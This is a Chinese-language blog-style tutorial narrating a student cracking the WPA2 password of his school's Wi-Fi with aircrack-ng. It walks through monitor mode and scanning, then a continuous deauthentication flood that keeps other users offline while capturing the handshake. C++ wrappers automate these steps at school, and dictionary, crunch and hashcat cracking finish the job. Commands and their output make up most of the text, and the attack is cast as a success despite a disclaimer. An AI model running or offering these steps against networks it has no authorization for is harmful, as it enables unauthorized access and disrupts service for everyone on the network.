说明
为保护隐私,本文部分内容为虚构。本文提到的所有 MAC 地址等均已替换。
版权
本作品采用知识共享署名-相同方式共享 4.0 国际许可协议进行许可。
警告
请勿使用本文提到的内容违反法律。
本文不提供任何担保。
环境
操作系统:Kali Linux
无线网卡:树莓派
Aircrack:Aircrack-ng 1.2 rc4
你好,我是还没想好昵称的新建p,高中三年级生。
最近又要考试,作业mia多,我好焦躁。
所以,我准备用 aircrack-ng 对学校的无线网进行破解。Aircrack-ng 是一套 Wi-Fi 攻击工具。其中的 ng 是 next generation 的缩写。
本文分两部分。Part 0: Offense 讲述如何获取到握手包, Part 1: Cracking 讲述如何破解握手包获取密码。
中午吃完饭,我匆匆回到教室,环顾四周,基本没有人。我打开树莓派。
首先,使用 airmon-ng
将无线网卡改为监听模式。其中的 wlan0 是无线网卡的名字。
airmon-ng start wlan0
因为有其他进程使用网卡,所以会有如下提示。
Found 3 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode
PID Name
233 dhclient
2333 NetworkManager
23333 wpa_supplicant
PHY Interface Driver Chipset
phy0 wlan0 brcmfmac Broadcom 43430
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
此时,使用如下命令杀死这些进程。
airmon-ng check kill
提示
当执行上述命令后,网络将不可用。
此时,再次将网卡设为监听模式。
airmon-ng start wlan0
使用 ifconfig
和 iwconfig
可以发现网卡已经变为 wlan0mon。
注意
有些网卡不支持监听模式。
使用如下命令,对附近的无线路由器进行扫描。
airodump-ng wlan0mon
我们可以得到类似这样的内容。
CH 6 ][ Elapsed: 6 s ][ 2020-02-30 23:33
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
66:66:66:66:66:66 -85 4 0 0 11 540 WPA2 CCMP PSK
DE:AD:BE:EF:00:00 -15 28 171 26 7 54 WPA2 CCMP PSK 还没想好昵称的新建p
12:34:56:78:90:AB -73 20 1 0 8 54 WPA2 CCMP PSK nixianghaonichengleme
23:33:33:33:33:33 -86 2 0 0 1 54 WPA2 CCMP PSK school-wireless
BSSID STATION PWR Rate Lost Frames Notes Probes
DE:AD:BE:EF:00:00 22:33:66:99:23:33 -40 0e- 0e 79 178
过了好长时间,我总算看到了我们学校的 Wi-Fi, ESSID 是 school-wireless,信道 (CH) 是 1 ,BSSID 是 23:33:33:33:33:33。我的班级离路由器比较远,可以看到,PWR 的绝对值很大。PWR 的绝对值越大,说明信号越不好。
我抬头环顾四周,发现周围没有人注意到我。我赶紧拿出草稿纸,把 BSSID 和 CH 抄下来。
首先,扫描连接到这个路由器的客户端。
airodump-ng -c 1 --bssid 23:33:33:33:33:33 -w hack-school wlan0mon
其中,-c 1
指的是信道是 1 , --bssid
是路由器的 MAC 地址,-w hack-school
指的是将包保存为文件 hack-school。
得到了类似如下的内容。(上面的是路由器,下面的是客户端)
CH 1 ][ Elapsed: 233 s ][ 2020-02-30 23:33
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
23:33:33:33:33:33 -86 100 55 0 0 1 54 WPA2 CCMP PSK school-wireless
BSSID STATION PWR Rate Lost Frames Notes Probes
23:33:33:33:33:33 99:99:99:99:99:99 -54 0 - 6 0 1
23:33:33:33:33:33 AA:BB:CC:DD:EE:FF -54 0 - 6 0 1
接下来,要对连接到这个无线网的人进行攻击。这里,我使用了 冲突模式 DeAuthenticate 攻击。
冲突模式大概的原理是使已经合法连接到网络的人断开与路由器的连接,并使其重连,在重连的过程中捕获验证数据包。
我打开了新的终端,不关闭刚才的 airodump-ng
,然后输入
aireplay-ng -0 0 -a 23:33:33:33:33:33 wlan0mon
其中,-0
代表冲突模式;0
代表攻击次数,一般设为 2~3 次,如果是 0 则为一直攻击,客户端会被一直离线;-a 23:33:33:33:33:33
是路由器的 MAC 地址。
我并没有加参数 -c xx:xx:xx:xx:xx:xx
,这个参数是指定攻击的客户端,会增加攻击的成功率。因为在学校不方便带键盘(笑),树莓派的触摸屏也不方便打字,所以就省略了。
刚才的命令会得到这样的信息。
23:33:33 Waiting for beacon frame (BSSID: 23:33:33:33:33:33) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c ).
23:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
23:33:35 Sending DeAuth (code 7) to broadcast -- BSSID: [23:33:33:33:33:33]
回到刚才的终端,即可发现第一行从
CH 1 ][ Elapsed: 233 s ][ 2020-02-30 23:33
变成了
CH 1 ][ Elapsed: 234 s ][ 2020-02-30 23:33 ][ PMKID found: 23:33:33:33:33:33
继续等待,当获得握手包时,就会变成
CH 1 ][ Elapsed: 235 s ][ 2020-02-20 23:33 ][ WPA handshake: 23:33:33:33:33:33
注意: 在获取到 WPA handshake 后可能还会找到 PMKID。
看到 WPA handshake 即表明攻击成功。我高兴极了,在两个终端中,都 按下 Ctrl + C,停止攻击和扫描。
此时 ls -l
,即可看到捕获的文件。
-rw-r--r-- 1 root root 1234567 Feb 30 23:33 hack-school-01.cap
-rw-r--r-- 1 root root 233 Feb 30 23:33 hack-school-01.csv
-rw-r--r-- 1 root root 666 Feb 30 23:33 hack-school-01.kismet.csv
-rw-r--r-- 1 root root 2233 Feb 30 23:33 hack-school-01.kismet.netxml
-rw-r--r-- 1 root root 543210 Feb 30 23:33 hack-school-01.log.csv
抬头一看,不知何时班主任老师站在教室门口……
信息
为了便于在学校运行,我把这些命令写成了 C++ 程序。
hack-1.cpp
#include
#include #include int main (void) { system("airmon-ng start wlan0"); system("clear"); system("arimon-ng check kill"); system("airmon-ng start wlan0"); system("airodump-ng -c 1 --bssid 23:33:33:33:33:33 -w hack-school wlan0mon"); return 0; } hack-2.cpp
#include
#include #include int main (void) { printf("WARNING: Clients may unable to access the network!\n"); sleep(3); system("aireplay-ng -0 0 -a 23:33:33:33:33:33 wlan0mon"); return 0; }
放学已经是夜晚,写完作业已经凌晨。我打开工作站,首先尝试密码字典 rockyou.txt。
gunzip /usr/share/wordlists/rockyou.txt.gz
aircrack-ng hack-school-01.cap -b 23:33:33:33:33:33 -w /usr/share/wordlists/rockyou.txt
会看到如下界面。
Aircrack-ng 1.2 rc4
[00:02:33] 23333 keys tested (23333.33 k/s)
Current passphrase: 23333333
Master Key : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
Transient Key : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
EAPOL HMAC : 23 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
没过多久,rockyou.txt 字典就已经试完了,没有找到密码。我又尝试了其他字典,也没有发现密码。
我只好自己生成字典,尝试 8 位数字。
crunch 8 8 1234567890 | aircrack-ng hack-school-01.cap -b 23:33:33:33:33:33 -w -
其中的 crunch 用来生成字典,第一个 8
是最短长度,第二个 8
是最长长度。使用管道将密码在线传给 aircrack-ng。
注意
如果自己生成字典,请考虑破解将要花费的时间和性能。
如果您拥有一个不错的 GPU,可以考虑用 hashcat
命令使用 GPU 进行破解。
wget https://github.com/hashcat/hashcat-utils/archive/master.zip # 获取源码
unzip master.zip # 解压
cd hashcat-utils-master/src/
make # 编译
./cap2hccapx.bin hack-school-01.cap hack-school-01 # 将 cap 文件转化成 hccap
hashcat -m 2500 hack-school-01.hccap
经过多次尝试,不断地选择生成更可能的字典,我终于看到屏幕上的 Key Found。渗透完成!